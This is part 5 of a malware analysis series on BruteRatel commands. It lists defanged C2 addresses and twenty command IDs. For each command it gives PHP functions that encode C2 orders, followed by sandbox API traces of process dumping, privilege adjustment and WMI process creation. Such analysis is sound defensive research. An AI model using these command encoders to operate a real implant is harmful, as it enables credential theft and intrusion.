BRUTERATEL COMMAND LIST PART 5
Context
BruteRatel SHA256 : d8080b4f7a238f28435649f74fdd5679f7f7133ea81d12d9f10b05017b0897b1
Sample Source :
bazaar.abuse.ch
VirusTotal :
VirusTotal
Network / C2 :
http://tiguanin[.]com/bazar.php:8041
http://tiguanin[.]com/admin.php:8041
http://bazarunet[.]com/admin.php:8041
http://bazarunet[.]com/bazar.php:8041
http://greshunka[.]com/bazar.php:8041
http://greshunka[.]com/admin.php:8041
INTRO
This article is the 5th part of my full analysis of BruteRatel commands :
Previous Part
Next Part
Full list
This detailed analysis will be split into several parts, I will be presenting in this post the next 20 commands that BruteRatel can respond to.
COMMAND LIST
Here is a short description of the next 20 command codes and purpose :
Command ID | Description | Parameter |
---|---|---|
“\x9a\xe1” | GetFullPathNameW | $filename |
“\x57\xa6” | inet_ntoa | $host |
“\xf1\xa5” | dump_process_from_pid | $pid |
“\x63\xd1” | adjustTokenPrivilege | $privilege |
“\x3a\xe5” | GetFileTimeStamp | $filename |
“\xd3\xb1” | WbemCreateProcess | $CommandLine |
“\x3e\xf8” | listdir2 | $dir_path |
“\xb9\xe4” | GetDelegationToken | $TargetNames |
“\x3a\xb9” | ping | $host |
“\x9c\xda” | GetCredentialsFromUiPrompt | $CaptionText |
“\xe4\xcd” | GetThreadsInfo | $pid |
“\xba\xe1” | InjectSetContext | $pid, $tid |
“\xed\xf2” | connect_localhost_global_struct | $index |
“\xd8\x3b” | WriteMemory | $address, $data |
“\x3b\xa2” | GetUsersPwdHashes | NA |
“\xd2\xe3” | CreateProcessSuspendedInjectThread | |
“\xd9\xa7” | unknown_update_global_struct | TODO |
“\xb3\xd2” | StopService | $MachineName, $ServiceName |
“\x9a\x6c” | DelayCmdExec | $delay |
“\xd1\xf3” | unknown_network | $ip, $port, $unknown, $unknown2 |
In the following section, I share some dynamic analysis results from the aforementioned commands :
GetFullPathNameW
/*
Retrieve the full path from the given file,
Read up to 0x2000 bytes and report the result up to the first null bytes read
ex : GetFullPathNameW("autorunsc64.exe");
*/
function GetFullPathNameW($filename)
{
$filenameW = UConverter::transcode($filename, 'UTF-16LE', 'UTF-8');
$filename_b64 = base64_encode($filenameW);
$cmd_id = "\x9a\xe1 $filename_b64";
$cmd_id_b64 = base64_encode($cmd_id);
return $cmd_id_b64;
}
I. Fetching the order
[CNT] [665]
[PTP] [0xdac] [0xdc4] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll]
[PAR] LPCTSTR pszString : 0x00000097DDD05A50
[STR] -> "vJ7S4O4DWydoZDlAiZKGGsy+ef7QSMkOGDv2whCCK1hp61d+fGo6tPXyFLn0PSInEbGKFVnnuaxmWZuzXPGFDrHRILADuba+VvMEebzkWP7ie4FQ"
[PAR] DWORD cchString : 0x0
[PAR] DWORD dwFlags : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE *pbBinary : 0x00000097DDD18E80
[PAR] DWORD *pcbBinary : 0x00000097DFCFED0C
[PAR] DWORD *pdwSkip : 0x0
[PAR] DWORD *pdwFlags : 0x0
[RET] [0x97dfc5bea1]
II. Execution
[CNT] [675]
[PTP] [0xdac] [0xdc4] [c:\windows\system32\rundll32.exe]
[API] <GetFullPathNameW> in [KERNEL32.DLL]
[PAR] LPCWSTR lpFileName : 0x00000097DDD22060
[STR] -> "autorunsc64.exe"
[PAR] DWORD nBufferLength : 0x104
[PAR] LPWSTR lpBuffer : 0x00000097DFCEEA20
[PAR] LPWSTR* lpFilePart : 0x0
[RET] [0x97dfc67036]
[CNT] [686]
[PTP] [0xdac] [0xdc4] [c:\windows\system32\rundll32.exe]
[API] <RtlDosPathNameToNtPathName_U> in [ntdll.dll]
[PAR] PCWSTR DosPathName : 0x00000097DFCEEA20
[STR] -> "C:\Users\user\Desktop\Samples\BRUTERATEL\autorunsc64.exe"
[PAR] PUNICODE_STRING NtPathName : 0x00000097DFCEE9C0
[PAR] PCWSTR* NtFileNamePart : 0x0
[PAR] PRTL_RELATIVE_NAME_U DirectoryInfo : 0x0
[RET] [0x97dfc67095]
[CNT] [687]
[PTP] [0xdac] [0xdc4] [c:\windows\system32\rundll32.exe]
[/!\] [ Attempt to bypass hooked API detected ! ]
[API] <NtOpenFile> in [ntdll.dll]
[PAR] PHANDLE FileHandle : 0x00000097DFCEE9B0
[PAR] ACCESS_MASK DesiredAccess : 0x120089 (FILE_GENERIC_READ)
[PAR] POBJECT_ATTRIBUTES ObjectAttributes : 0x00000097DFCEE9F0
[FLD] -> ObjectName = "\??\C:\Users\user\Desktop\Samples\BRUTERATEL\autorunsc64.exe"
[PAR] PIO_STATUS_BLOCK IoStatusBlock : 0x00000097DFCEE9D0
[PAR] ULONG ShareAccess : 0x1 (FILE_SHARE_READ)
[PAR] ULONG OpenOptions : 0x60 (FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE)
[RET] [0x97dfc74a05]
[CNT] [688]
[PTP] [0xdac] [0xdc4] [c:\windows\system32\rundll32.exe]
[/!\] [ Attempt to bypass hooked API detected ! ]
[API] <NtReadFile> in [ntdll.dll]
[PAR] HANDLE FileHandle : 0x2f8
[PAR] HANDLE Event : 0x0
[PAR] PIO_APC_ROUTINE ApcRoutine : 0x0
[PAR] PVOID ApcContext : 0x0
[PAR] PIO_STATUS_BLOCK IoStatusBlock : 0x00000097DFCEE9E0
[PAR] PVOID Buffer : 0x00000097DFCEEC28
[PAR] ULONG Length : 0x2000
[PAR] PLARGE_INTEGER ByteOffset : 0x00000097DFCEE9B8
[PAR] PULONG Key : 0x0
[RET] [0x97dfc75162]
III. Result
Since the queried file is a PE, first NULL byte is encountered right after the ‘MZ’ magic.
[CNT] [694]
[PTP] [0xdac] [0xdc4] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll]
[PAR] BYTE* pbBinary : 0x00000097DDD04CB0
[STR] -> "9AE1"
[STR] "C:\Users\user\Desktop\Samples\BRUTERATEL\autorunsc64.exe"
[STR] "MZ"
[PAR] DWORD cbBinary : 0x84
[PAR] DWORD dwFlags : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString : 0x00000097DDD14D00
[PAR] DWORD* pcchString : 0x00000097DFCEE8BC
[RET] [0x97dfc5e028]
inet_ntoa
// ex : inet_ntoa("tiguanin.com");
function inet_ntoa($host)
{
$cmd_id = "\x57\xa6 $host";
$cmd_id_b64 = base64_encode($cmd_id);
return $cmd_id_b64;
}
I. Fetching the order
[CNT] [361]
[PTP] [0x91c] [0x10e0] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll]
[PAR] LPCTSTR pszString : 0x00000035A2FD46E0
[STR] -> "vJ7S4O4DWydoZDlAiZKGGsy+Qr3MSPofMhbfwBC+H1ob92p8DytHwdzTJtM="
[PAR] DWORD cchString : 0x0
[PAR] DWORD dwFlags : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE *pbBinary : 0x00000035A2FDE670
[PAR] DWORD *pcbBinary : 0x00000035A4FFE78C
[PAR] DWORD *pdwSkip : 0x0
[PAR] DWORD *pdwFlags : 0x0
[RET] [0x35a4f5bea1]
II. Execution
[CNT] [374]
[PTP] [0x91c] [0x10e0] [c:\windows\system32\rundll32.exe]
[API] <WSAStartup> in [ws2_32.dll]
[PAR] WORD wVersionRequested : 0x202
[RET] [0x35a4f63fcd]
[CNT] [375]
[PTP] [0x91c] [0x10e0] [c:\windows\system32\rundll32.exe]
[API] <gethostbyname> in [ws2_32.dll]
[PAR] PCHAR name : 0x00000035A2FE1060
[STR] -> "tiguanin.com"
[RET] [0x35a4f63fe5]
[CNT] [384]
[PTP] [0x91c] [0x10e0] [c:\windows\system32\rundll32.exe]
[API] <inet_ntoa> in [ws2_32.dll]
[PAR] struct in_addr in : 0x2e8ffea9
-> 169.254.143.46
[RET] [0x35a4f6402b]
III. Result
[CNT] [395]
[PTP] [0x91c] [0x10e0] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll]
[PAR] BYTE* pbBinary : 0x00000035A2FF7300
[STR] -> "57A6"
[STR] "tiguanin.com 169.254.143.46"
[PAR] DWORD cbBinary : 0x40
[PAR] DWORD dwFlags : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString : 0x00000035A2FC41C0
[PAR] DWORD* pcchString : 0x00000035A4FFE44C
[RET] [0x35a4f5e028]
dump_process_from_pid
// ex : dump_process_from_pid("4064");
function dump_process_from_pid($pid)
{
$cmd_id = "\xf1\xa5 $pid";
$cmd_id_b64 = base64_encode($cmd_id);
return $cmd_id_b64;
}
I. Fetching the order
[CNT] [242]
[PTP] [0x12ac] [0xec0] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll]
[PAR] LPCTSTR pszString : 0x0000005A57FC7A10
[STR] -> "vJ7S4O4DWydoZDlAiZKGGsy+LOrASNAcH0r11mv2Ui1u9VBz"
[PAR] DWORD cchString : 0x0
[PAR] DWORD dwFlags : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE *pbBinary : 0x0000005A57FEB680
[PAR] DWORD *pcbBinary : 0x0000005A59FDEC0C
[PAR] DWORD *pdwSkip : 0x0
[PAR] DWORD *pdwFlags : 0x0
[RET] [0x5a59f3bea1]
II. Execution
[CNT] [262]
[PTP] [0x12ac] [0xde0] [c:\windows\system32\rundll32.exe]
[/!\] [ Attempt to bypass hooked API detected ! ]
[API] <NtOpenProcess> in [ntdll.dll]
[PAR] PHANDLE ProcessHandle : 0x0000005A5A54F330
[PAR] ACCESS_MASK DesiredAccess : 0x410 (PROCESS_VM_READ | PROCESS_QUERY_INFORMATION)
[PAR] POBJECT_ATTRIBUTES ObjectAttributes : 0x0000005A5A54F3C0
[PAR] PCLIENT_ID ClientId : 0x0000005A5A54F3A0
[FLD] -> UniqueProcess = 0xfe0
[FLD] -> UniqueThread = 0x0
[RET] [0x5a59f54aab]
[CNT] [263]
[PTP] [0x12ac] [0xde0] [c:\windows\system32\rundll32.exe]
[/!\] [ Attempt to bypass hooked API detected ! ]
[API] <NtCreateTransaction> in [ntdll.dll]
[PAR] PHANDLE TransactionHandle : 0x0000005A5A54F340
[PAR] ACCESS_MASK DesiredAccess : 0x1f003f (TRANSACTION_ALL_ACCESS)
[PAR] POBJECT_ATTRIBUTES ObjectAttributes : 0x0000005A5A54F3C0
[PAR] LPGUID Uow : 0x0
[PAR] HANDLE TmHandle : 0x0
[PAR] ULONG CreateOptions : 0x0
[PAR] ULONG IsolationLevel : 0x0
[PAR] ULONG IsolationFlags : 0x0
[PAR] HANDLE TmHandle : 0x0
[PAR] HANDLE TmHandle : 0x0
[RET] [0x5a59f54587]
[CNT] [264]
[PTP] [0x12ac] [0xde0] [c:\windows\system32\rundll32.exe]
[API] <RtlSetCurrentTransaction> in [ntdll.dll]
[PAR] HANDLE TransactionHandle : 0x304
[RET] [0x5a59f473f3]
[CNT] [265]
[PTP] [0x12ac] [0xde0] [c:\windows\system32\rundll32.exe]
[API] <RtlInitUnicodeString> in [ntdll.dll]
[PAR] PCWSTR SourceString : 0x0000005A57FC83D0
[STR] -> "\??\C:\Users\Public\cache"
[RET] [0x5a59f474b8]
[CNT] [266]
[PTP] [0x12ac] [0xde0] [c:\windows\system32\rundll32.exe]
[/!\] [ Attempt to bypass hooked API detected ! ]
[API] <NtCreateFile> in [ntdll.dll]
[PAR] PHANDLE FileHandle : 0x0000005A5A54F338
[PAR] ACCESS_MASK DesiredAccess : 0x12019f (FILE_GENERIC_READ | FILE_GENERIC_WRITE)
[PAR] POBJECT_ATTRIBUTES ObjectAttributes : 0x0000005A5A54F3C0
[FLD] -> ObjectName = "\??\C:\Users\Public\cache"
[PAR] PIO_STATUS_BLOCK IoStatusBlock : 0x0000005A5A54F390
[PAR] PLARGE_INTEGER AllocationSize : 0x0000005A5A54F370
[PAR] ULONG FileAttributes : 0x80
[PAR] ULONG ShareAccess : 0x3 (FILE_SHARE_READ | FILE_SHARE_WRITE)
[PAR] ULONG CreateDisposition : 0x5 (FILE_DOES_NOT_EXIST)
[PAR] ULONG CreateOptions : 0x20 (FILE_SYNCHRONOUS_IO_NONALERT)
[RET] [0x5a59f5421a]
[ * ] [pid 0x12ac][tid 0xde0] c:\windows\system32\rundll32.exe
[EVT] [Kernel Monitoring]
[MSG] [FILE_CREATED] [C:\Users\Public\cache]
[CNT] [267]
[PTP] [0x12ac] [0xde0] [c:\windows\system32\rundll32.exe]
[API] <RtlSetCurrentTransaction> in [ntdll.dll]
[PAR] HANDLE TransactionHandle : 0x0
[RET] [0x5a59f4757b]
[CNT] [288]
[PTP] [0x12ac] [0xde0] [c:\windows\system32\rundll32.exe]
[API] <SymInitializeW> in [dbghelp.dll]
[PAR] HANDLE hProcess : 0x300
[PAR] PWSTR UserSearchPath : 0x0 (null)
[PAR] BOOL fInvadeProcess : 0x1
[RET] [0x5a59f4ebe0]
[CNT] [293]
[PTP] [0x12ac] [0xde0] [c:\windows\system32\rundll32.exe]
[/!\] [ Attempt to bypass hooked API detected ! ]
[API] <NtQuerySystemInformation> in [ntdll.dll]
[PAR] SYSTEM_INFORMATION_CLASS SystemInformationClass : 0x5 (SystemProcessInformation)
[PAR] PVOID SystemInformation : 0x0000005A5BAB4100
[PAR] ULONG SystemInformationLength : 0x10000
[PAR] PULONG ReturnLength : 0x0
[RET] [0x5a59f54f0d]
[CNT] [294]
[PTP] [0x12ac] [0xde0] [c:\windows\system32\rundll32.exe]
[API] <EnumerateLoadedModulesW64> in [dbghelp.dll]
[PAR] HANDLE hProcess : 0x300
[PAR] PENUMLOADED_MODULES_CALLBACKW64 EnumLoadedModulesCallback : 0x0000005A59F3E100
[PAR] PVOID UserContext : 0x0000005A5A54F1F0
[RET] [0x5a59f4ec9c]
[CNT] [295]
[PTP] [0x12ac] [0xde0] [c:\windows\system32\rundll32.exe]
[API] <GetModuleFileNameExW> in [PSAPI.DLL]
[PAR] HANDLE hProcess : 0x300
[PAR] HMODULE hModule : 0x00007FF6E4970000
[PAR] LPWSTR lpFilename : 0x0000005A5B44A73C
[PAR] DWORD nSize : 0x104
[RET] [0x5a59f397f2]
[CNT] [296]
[PTP] [0x12ac] [0xde0] [c:\windows\system32\rundll32.exe]
[API] <GetModuleFileNameExW> in [PSAPI.DLL]
[PAR] HANDLE hProcess : 0x300
[PAR] HMODULE hModule : 0x00007FFE281C0000 (ntdll.dll)
[PAR] LPWSTR lpFilename : 0x0000005A5B44A964
[PAR] DWORD nSize : 0x104
[RET] [0x5a59f397f2]
[CNT] [297]
[PTP] [0x12ac] [0xde0] [c:\windows\system32\rundll32.exe]
[API] <GetModuleFileNameExW> in [PSAPI.DLL]
[PAR] HANDLE hProcess : 0x300
[PAR] HMODULE hModule : 0x00007FFE26240000 (KERNEL32.DLL)
[PAR] LPWSTR lpFilename : 0x0000005A5B44AB8C
[PAR] DWORD nSize : 0x104
[RET] [0x5a59f397f2]
[...]
[CNT] [447]
[PTP] [0x12ac] [0xde0] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringA> in [crypt32.dll]
[PAR] BYTE* pbBinary : 0x0000005A57FEB530
[STR] -> "28-03-2025_14-46-57_4064.dmp"
[PAR] DWORD cbBinary : 0x1c
[PAR] DWORD dwFlags : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPSTR pszString : 0x0000005A57FC83D0
[PAR] DWORD* pcchString : 0x0000005A5A54F19C
[RET] [0x5a59f3e0b1]
III. Result
[CNT] [453]
[PTP] [0x12ac] [0xde0] [c:\windows\system32\rundll32.exe]
[API] <SystemFunction032> in [CRYPTSP.DLL]
[INF] [ Undocumented RC4 implementation ]
[PAR] PBINARY_STRING buffer : 0x0000005A5A54F140
[FLD] -> Length = 0xa6b2b
[FLD] -> MaxLength = 0xa6b2b
[FLD] -> Buffer = 0x0000005A5AD50080
[STR] -> "{"cds":{"auth":"OV1T557KBIUECUM5"},"dt":{"chkin":"TURNUJOnAAAEAAAAIAAAAAAAAABaAAAAAgAAAAAAAAAHAAAAOAAAAFAAAAAEAAAAhA0AAI"
[STR] "wAAAAJAAAAwBoAAAgYAAAAAAAAAAAAAAAAAAAJAAYACToCAQYAAAADAAAAgCUAAAIAAACIAAAAEAAAAEx3wgAAAAAAAAAAAAAAAAAA4fNZWgAAAAAAAAAgAA"
[STR] "AAAACX5PZ/AAAAkA4AU0EOAIhMUFQQDgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
[STR] "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAcKP5/AAAAwBoAvMYaAJ5VUFRODgAAvQTv/gAAAQADAAYAB0SAJQMABgAHRIAlPwAAAAAAAAAEAAQAAgAAAAAAAAAAAA"
[STR] "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAkJv5/AAAA4BMA7A8UAMpUUFSODgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
[STR] "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABJJf5/AAAAUBEAXE0RADdXUFTUDgAAvQTv/gAAAQADAA"
[STR] "YAB0SAJQMABgAHRIAlPwAAAAAAAAAEAAQAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADJJv5/AAAAkFEBSzNUAU"
[STR] "A9UFQeDwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
[STR] "AAAACfJf5/AAAAQAUAJ74FAGM6UFRiDwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
[STR] "AAAAAAAAAAAAAAAAAAAAAAAAAAAADWGP5/AAAAABsAYPAaAG1AUFSmDwAAvQTv/gAAAQADAAYAB0SAJQMABgAHRIAlPwAAAAAAAAAEAAQAAgAAAAAAAAAAAA"
[STR] "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC+Jv5/AAAAoAoAMGgLABFUUFSSEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
[STR] "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXJv5/AAAAEAwAmtUMAK1CUFTYEAAAAAAAAAAAAAAAAA"
[STR] "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD4I/5/AAAAkBIAXTkSAA"
[STR] "BWUFQeEQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
[STR] [TRUNCATED]
[PAR] PBINARY_STRING key : 0x0000005A5A54F130
[FLD] -> Length = 0x10
[FLD] -> MaxLength = 0x10
[FLD] -> Buffer = 0x0000005A57FACBA0
[STR] -> "S47EFEUO3D2O6641"
[RET] [0x5a59f24c35]
adjustTokenPrivilege
// ex: adjustTokenPrivilege("SeCreateTokenPrivilege");
function adjustTokenPrivilege($privilege)
{
$cmd_id = "\x63\xd1 $privilege";
$cmd_id_b64 = base64_encode($cmd_id);
return $cmd_id_b64;
}
I. Fetching the order
[CNT] [341]
[PTP] [0xbdc] [0xb64] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll]
[PAR] LPCTSTR pszString : 0x000000D86C8C9A00
[STR] -> "vJ7S4O4DWydoZDlAiZKGGsy+TbLQSMtqCDzY+gCjGkp511F8QjMJjd/dJLbkIxEON52CdFWYweFDbLXL"
[PAR] DWORD cchString : 0x0
[PAR] DWORD dwFlags : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE *pbBinary : 0x000000D86C8B2660
[PAR] DWORD *pcbBinary : 0x000000D86E8AE5BC
[PAR] DWORD *pdwSkip : 0x0
[PAR] DWORD *pdwFlags : 0x0
[RET] [0xd86e80bea1]
II. Execution
[CNT] [348]
[PTP] [0xbdc] [0xb64] [c:\windows\system32\rundll32.exe]
[/!\] [ Attempt to bypass hooked API detected ! ]
[API] <NtOpenProcessToken> in [ntdll.dll]
[PAR] HANDLE ProcessHandle : 0xFFFFFFFFFFFFFFFF
[PAR] ACCESS_MASK DesiredAccess : 0x28 (TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES)
[PAR] PHANDLE TokenHandle : 0x000000D86E8AE4B8
[RET] [0xd86e824b2f]
[CNT] [349]
[PTP] [0xbdc] [0xb64] [c:\windows\system32\rundll32.exe]
[API] <LookupPrivilegeValueA> in [ADVAPI32.dll]
[PAR] LPCTSTR lpSystemName : 0x0 (null)
[PAR] LPCTSTR lpName : 0x000000D86C8D35D0
[STR] -> "SeCreateTokenPrivilege"
[RET] [0xd86e809926]
[CNT] [350]
[PTP] [0xbdc] [0xb64] [c:\windows\system32\rundll32.exe]
[API] <AdjustTokenPrivileges> in [ADVAPI32.dll]
[PAR] HANDLE TokenHandle : 0x324
[PAR] BOOL DisableAllPrivileges : 0x0
[PAR] PTOKEN_PRIVILEGES NewState : 0x000000D86E8AE4CC
[PAR] DWORD BufferLength : 0x10
[PAR] PTOKEN_PRIVILEGES PreviousState : 0x0
[PAR] PDWORD ReturnLength : 0x0
[RET] [0xd86e809966]
[CNT] [351]
[PTP] [0xbdc] [0xb64] [c:\windows\system32\rundll32.exe]
[API] <LookupPrivilegeValueA> in [ADVAPI32.dll]
[PAR] LPCTSTR lpSystemName : 0x0 (null)
[PAR] LPCTSTR lpName : 0x000000D86C8D35D0
[STR] -> "SeCreateTokenPrivilege"
[RET] [0xd86e80997a]
[CNT] [352]
[PTP] [0xbdc] [0xb64] [c:\windows\system32\rundll32.exe]
[API] <PrivilegeCheck> in [ADVAPI32.dll]
[PAR] HANDLE ClientToken : 0x324
[PAR] PPRIVILEGE_SET RequiredPrivileges : 0x000000D86E8AE4DC
[PAR] LPBOOL pfResult : 0x000000D86E8AE4AC
[RET] [0xd86e8099c0]
GetFileTimeStamp
// ex : GetFileTimeStamp("autorunsc64.exe");
function GetFileTimeStamp($filename)
{
$filenameW = UConverter::transcode($filename, 'UTF-16LE', 'UTF-8');
$filename_b64 = base64_encode($filenameW);
$cmd_id = "\x3a\xe5 $filename_b64";
$cmd_id_b64 = base64_encode($cmd_id);
return $cmd_id_b64;
}
I. Fetching the order
[CNT] [242]
[PTP] [0x1100] [0x117c] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll]
[PAR] LPCTSTR pszString : 0x0000003032C11490
[STR] -> "vJ7S4O4DWydoZDlAiZKGGsy+W/7ASMkOGDv2whCCK1hp61d+fGo6tPXyFLn0PSInEbGKFVnnuaxmWZuzXPGFDrHRILADuba+VvMEebzkWP7ie4FQ"
[PAR] DWORD cchString : 0x0
[PAR] DWORD dwFlags : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE *pbBinary : 0x0000003032C35F90
[PAR] DWORD *pcbBinary : 0x0000003034C4E98C
[PAR] DWORD *pdwSkip : 0x0
[PAR] DWORD *pdwFlags : 0x0
[RET] [0x3034babea1]
II. Execution
[CNT] [405]
[PTP] [0x924] [0xa84] [c:\windows\system32\rundll32.exe]
[API] <GetFullPathNameW> in [KERNEL32.DLL]
[PAR] LPCWSTR lpFileName : 0x000000C9BBE7F660
[STR] -> "autorunsc64.exe"
[PAR] DWORD nBufferLength : 0x104
[PAR] LPWSTR lpBuffer : 0x000000C9BDE6E380
[PAR] LPWSTR* lpFilePart : 0x0
[RET] [0xc9bddce349]
[CNT] [406]
[PTP] [0x924] [0xa84] [c:\windows\system32\rundll32.exe]
[API] <RtlDosPathNameToNtPathName_U> in [ntdll.dll]
[PAR] PCWSTR DosPathName : 0x000000C9BDE6E380
[STR] -> "C:\Users\eglantine\Desktop\Samples\BRUTERATEL\autorunsc64.exe"
[PAR] PUNICODE_STRING NtPathName : 0x000000C9BDE6E2D8
[PAR] PCWSTR* NtFileNamePart : 0x0
[PAR] PRTL_RELATIVE_NAME_U DirectoryInfo : 0x0
[RET] [0xc9bddce372]
[CNT] [407]
[PTP] [0x924] [0xa84] [c:\windows\system32\rundll32.exe]
[/!\] [ Attempt to bypass hooked API detected ! ]
[API] <NtOpenFile> in [ntdll.dll]
[PAR] PHANDLE FileHandle : 0x000000C9BDE6E2C8
[PAR] ACCESS_MASK DesiredAccess : 0x120089 (FILE_GENERIC_READ)
[PAR] POBJECT_ATTRIBUTES ObjectAttributes : 0x000000C9BDE6E318
[FLD] -> ObjectName = "\??\C:\Users\eglantine\Desktop\Samples\BRUTERATEL\autorunsc64.exe"
[PAR] PIO_STATUS_BLOCK IoStatusBlock : 0x000000C9BDE6E2E8
[PAR] ULONG ShareAccess : 0x1 (FILE_SHARE_READ)
[PAR] ULONG OpenOptions : 0x60 (FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE)
[RET] [0xc9bdde4a05]
[CNT] [408]
[PTP] [0x924] [0xa84] [c:\windows\system32\rundll32.exe]
[/!\] [ Attempt to bypass hooked API detected ! ]
[API] <NtQueryInformationFile> in [ntdll.dll]
[PAR] HANDLE FileHandle : 0x2f4
[PAR] PIO_STATUS_BLOCK IoStatusBlock : 0x000000C9BDE6E2F8
[PAR] PVOID FileInformation : 0x000000C9BDE6E348
[PAR] ULONG Length : 0x38
[PAR] FILE_INFORMATION_CLASS FileInformationClass : 0x22 (FileNetworkOpenInformation)
[RET] [0xc9bdde4d0a]
[CNT] [423]
[PTP] [0x924] [0xa84] [c:\windows\system32\rundll32.exe]
[API] <FileTimeToLocalFileTime> in [KERNEL32.DLL]
[RET] [0xc9bddce4e7]
[CNT] [424]
[PTP] [0x924] [0xa84] [c:\windows\system32\rundll32.exe]
[API] <FileTimeToSystemTime> in [KERNEL32.DLL]
[RET] [0xc9bddce4fc]
[...]
III. Result
[CNT] [556]
[PTP] [0x924] [0xa84] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll]
[PAR] BYTE* pbBinary : 0x000000C9BBE7EA10
[STR] -> "3AE5"
[STR] "C:\Users\eglantine\Desktop\Samples\BRUTERATEL\autorunsc64.exe"
[STR] "806912"
[STR] "AA 09/04/2025 02:17:0"
[STR] "AB 09/04/2025 02:17:0"
[STR] "AC 22/10/2024 01:18:28"
[STR] "AD 09/04/2025 02:16:44"
[PAR] DWORD cbBinary : 0x148
[PAR] DWORD dwFlags : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString : 0x000000C9BBE51AF0
[PAR] DWORD* pcchString : 0x000000C9BDE6E1DC
[RET] [0xc9bddce028]
WbemCreateProcess
// ex: WbemCreateProcess("notepad");
function WbemCreateProcess($CommandLine)
{
$cmd_id = "\xd3\xb1 $CommandLine";
$cmd_id_b64 = base64_encode($cmd_id);
return $cmd_id_b64;
}
I. Fetching the order
[CNT] [327]
[PTP] [0xa84] [0xa28] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll]
[PAR] LPCTSTR pszString : 0x000000E5066DEE90
[STR] -> "vJ7S4O4DWydoZDlAiZKGGsy+JLzQSPw1Z0jhzxSjJEwSvx9uWzIchtDOBJnzEk50TdOZUguY"
[PAR] DWORD cchString : 0x0
[PAR] DWORD dwFlags : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE *pbBinary : 0x000000E5066CD300
[PAR] DWORD *pcbBinary : 0x000000E50863EAAC
[PAR] DWORD *pdwSkip : 0x0
[PAR] DWORD *pdwFlags : 0x0
[RET] [0xe50859bea1]
II. Execution
[CNT] [356]
[PTP] [0xa84] [0xa28] [c:\windows\system32\rundll32.exe]
[API] <CoInitializeEx> in [combase.dll]
[RET] [0xe5085b2b12]
[CNT] [357]
[PTP] [0xa84] [0xa28] [c:\windows\system32\rundll32.exe]
[API] <CoInitializeSecurity> in [combase.dll]
[RET] [0xe5085b2b4d]
[CNT] [358]
[PTP] [0xa84] [0xa28] [c:\windows\system32\rundll32.exe]
[API] <CoCreateInstance> in [combase.dll]
[PAR] REFCLSID *clsid : 0x000000E5085B7B90 ({4590F811-1D3A-11D0-891F-00AA004B2E24})
[PAR] LPUNKNOWN pUnkOuter : 0x0
[PAR] DWORD dwClsContext : 0x1
[PAR] REFIID riid : 0x000000E5085B7C90 (IWbemLocator)
[PAR] LPVOID *ppv : 0x000000E50863E958
[RET] [0xe5085b2b76]
[CNT] [359]
[PTP] [0xa84] [0xa28] [c:\windows\system32\rundll32.exe]
[API] <IWbemLocator::ConnectServer> in [wbemprox.dll]
[PAR] BSTR strNetworkResource : 0x000000E5066CE450
[STR] -> "ROOT\CIMV2"
[PAR] BSTR strUser : 0x0 (null)
[PAR] BSTR strPassword : 0x0 (null)
[PAR] BSTR strLocale : 0x0 (null)
[PAR] long lSecurityFlags : 0x0
[PAR] BSTR strAuthority : 0x0 (null)
